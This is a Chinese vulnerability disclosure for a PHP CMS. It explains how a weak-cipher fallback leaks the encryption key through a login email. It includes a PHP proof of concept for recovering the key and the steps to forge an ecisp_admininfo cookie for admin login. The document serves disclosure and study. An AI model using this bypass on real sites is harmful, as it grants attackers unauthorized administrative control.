### 简要描述:
8.25
V6.4.15.08.25
捡漏
### 详细说明:
在加密算法那 ,一般情况下我们是不能再还原出key了。
他加了这么一段代码
```
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {......
```
調用的是php自带的 加密函数。
看到有人提交过 这个 http://wooyun.org/bugs/wooyun-2010-098132
当 mcrype 为 false时 就能用以前的有漏洞的算法加密了。
全局搜索下
```
, FALSE);
```
看看是否还有其他地方加密时 mcrype为false。
找到一处/public/class_connector.php
```
function get_link($module = null, $read = array(), $lng_temp = '', $pagekey = 0, $patyclass = 0, $is_wap = 0) {
.......
switch ($module) {
......
case 'member_ucenter':
$username = $this->fun->eccode($read['username'], 'ENCODE', db_pscode, FALSE);
$password = $this->fun->eccode($read['password'], 'ENCODE', db_pscode, FALSE);
$link = "index.php?ac=member&at=uccheckuser&key=" . $username . '&code=' . $password;
break;
```
这里加密password 时 mcrype 是为 false的。
然后全局搜索下
```
get_link('member_ucenter
```
看看那个文件調用了。
/interface/member.php
```
function in_logindb() {
.........
else {
if ($rsMember['isclass'] == 2) {
$linkURL = $this->get_link('member_mailsend', $rsMember, admin_LNG);
$this->callmessage($this->lng['username_check'], $linkURL, $this->lng['checkemail_send'], 1, $this->lng['gobackbotton']);
}
```
是登入的一个地方。 我们前台注册用户, 然后登入时 会将 md5(password) 以 mcrype 为 false的形式发送到我们的注册邮箱。
因为 password 是我们可以控制的 所以可以还原出 key
-------
### 漏洞证明:
注册个用户 密码为 aaaaaa11
得到md5值 c683890bddd853417ba6fac6f2de5c4c
然后登入 查看邮箱,
[<img src="https://images.seebug.org/upload/201508/25173249f21b8b1617ea4978075f3386da28ee10.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173249f21b8b1617ea4978075f3386da28ee10.png)
得到加密后的值 填入 poc
```
$text = "c683890bddd853417ba6fac6f2de5c4c";
$cookie = "nGxpbJmbacSVmpZslphsZ5mUkW6fxclqy2nGnpucbZk";
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) {
echo chr( ord($bincookie[$j]) - ord($text[$j]) );
}
```
获取到 key后
[<img src="https://images.seebug.org/upload/201508/25173428884e93d8c6c3d0038b3d953f5ea4d255.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173428884e93d8c6c3d0038b3d953f5ea4d255.png)
再用 mcrype 为 true 的形式加密一次
```
echo eccode('1|admin|a6b19ac665d2c7f570d931740788613d|1b1a9fe8dea603b93684d610b5808c02|1|1|ec3da02dc2712a9d1386a654155b6094','ENCODE','619ab9b1624ae86b2089df4e7b9f99',true); //1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)
```
添加cookie ecisp_admininfo 为加密后的值 就能登入后台了。
[<img src="https://images.seebug.org/upload/201508/25173926565a15f000377ca395fe092093258bc2.jpg" alt="xx.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173926565a15f000377ca395fe092093258bc2.jpg)
暂无评论